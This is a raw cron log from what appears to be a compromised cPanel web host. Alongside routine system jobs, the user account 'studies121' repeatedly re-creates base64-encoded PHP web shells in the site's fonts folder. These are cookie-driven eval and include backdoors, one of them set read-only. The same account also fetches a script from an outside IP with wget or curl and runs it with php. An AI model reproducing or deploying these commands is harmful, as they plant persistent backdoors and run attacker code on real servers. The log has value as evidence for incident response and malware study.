Sep 10 23:43:01 ip-184-168-122-23 CROND[28711]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:44:01 ip-184-168-122-23 CROND[28796]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:44:01 ip-184-168-122-23 CROND[28800]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:44:01 ip-184-168-122-23 CROND[28801]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:44:01 ip-184-168-122-23 CROND[28798]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 23:44:01 ip-184-168-122-23 CROND[28799]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:45:01 ip-184-168-122-23 CROND[28888]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:45:01 ip-184-168-122-23 CROND[28891]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:45:01 ip-184-168-122-23 CROND[28890]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:45:01 ip-184-168-122-23 CROND[28892]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 23:45:01 ip-184-168-122-23 CROND[28894]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:45:01 ip-184-168-122-23 CROND[28893]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 23:46:01 ip-184-168-122-23 CROND[28987]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:46:01 ip-184-168-122-23 CROND[28989]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:46:01 ip-184-168-122-23 CROND[28990]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 23:46:01 ip-184-168-122-23 CROND[28992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:46:01 ip-184-168-122-23 CROND[28993]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 10 23:46:01 ip-184-168-122-23 CROND[28991]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:46:01 ip-184-168-122-23 CROND[28994]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 23:47:01 ip-184-168-122-23 CROND[29110]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:47:01 ip-184-168-122-23 CROND[29113]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:47:01 ip-184-168-122-23 CROND[29112]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:47:01 ip-184-168-122-23 CROND[29114]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:48:01 ip-184-168-122-23 CROND[29275]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 23:48:01 ip-184-168-122-23 CROND[29276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:48:01 ip-184-168-122-23 CROND[29278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:48:01 ip-184-168-122-23 CROND[29279]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:48:01 ip-184-168-122-23 CROND[29282]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:49:01 ip-184-168-122-23 CROND[29370]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:49:01 ip-184-168-122-23 CROND[29372]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:49:01 ip-184-168-122-23 CROND[29374]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:49:01 ip-184-168-122-23 CROND[29375]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:50:01 ip-184-168-122-23 CROND[29459]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 23:50:02 ip-184-168-122-23 CROND[29462]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:50:02 ip-184-168-122-23 CROND[29463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:50:02 ip-184-168-122-23 CROND[29464]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 23:50:02 ip-184-168-122-23 CROND[29467]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:50:02 ip-184-168-122-23 CROND[29465]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 23:50:02 ip-184-168-122-23 CROND[29468]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 23:50:02 ip-184-168-122-23 CROND[29472]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 23:50:02 ip-184-168-122-23 CROND[29471]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:51:01 ip-184-168-122-23 CROND[29570]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:51:01 ip-184-168-122-23 CROND[29572]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:51:01 ip-184-168-122-23 CROND[29571]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:51:01 ip-184-168-122-23 CROND[29574]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:52:01 ip-184-168-122-23 CROND[29663]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:52:01 ip-184-168-122-23 CROND[29665]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 23:52:01 ip-184-168-122-23 CROND[29666]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:52:01 ip-184-168-122-23 CROND[29667]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:52:01 ip-184-168-122-23 CROND[29668]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:53:01 ip-184-168-122-23 CROND[29753]: (root) CMD (/usr/lib64/sa/sa2 -A)
Sep 10 23:53:01 ip-184-168-122-23 CROND[29754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:53:01 ip-184-168-122-23 CROND[29756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:53:01 ip-184-168-122-23 CROND[29757]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:53:01 ip-184-168-122-23 CROND[29758]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:54:01 ip-184-168-122-23 CROND[29867]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:54:01 ip-184-168-122-23 CROND[29868]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:54:01 ip-184-168-122-23 CROND[29870]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 23:54:01 ip-184-168-122-23 CROND[29871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:54:01 ip-184-168-122-23 CROND[29874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:55:01 ip-184-168-122-23 CROND[30053]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:55:01 ip-184-168-122-23 CROND[30055]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 23:55:01 ip-184-168-122-23 CROND[30057]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 23:55:01 ip-184-168-122-23 CROND[30059]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
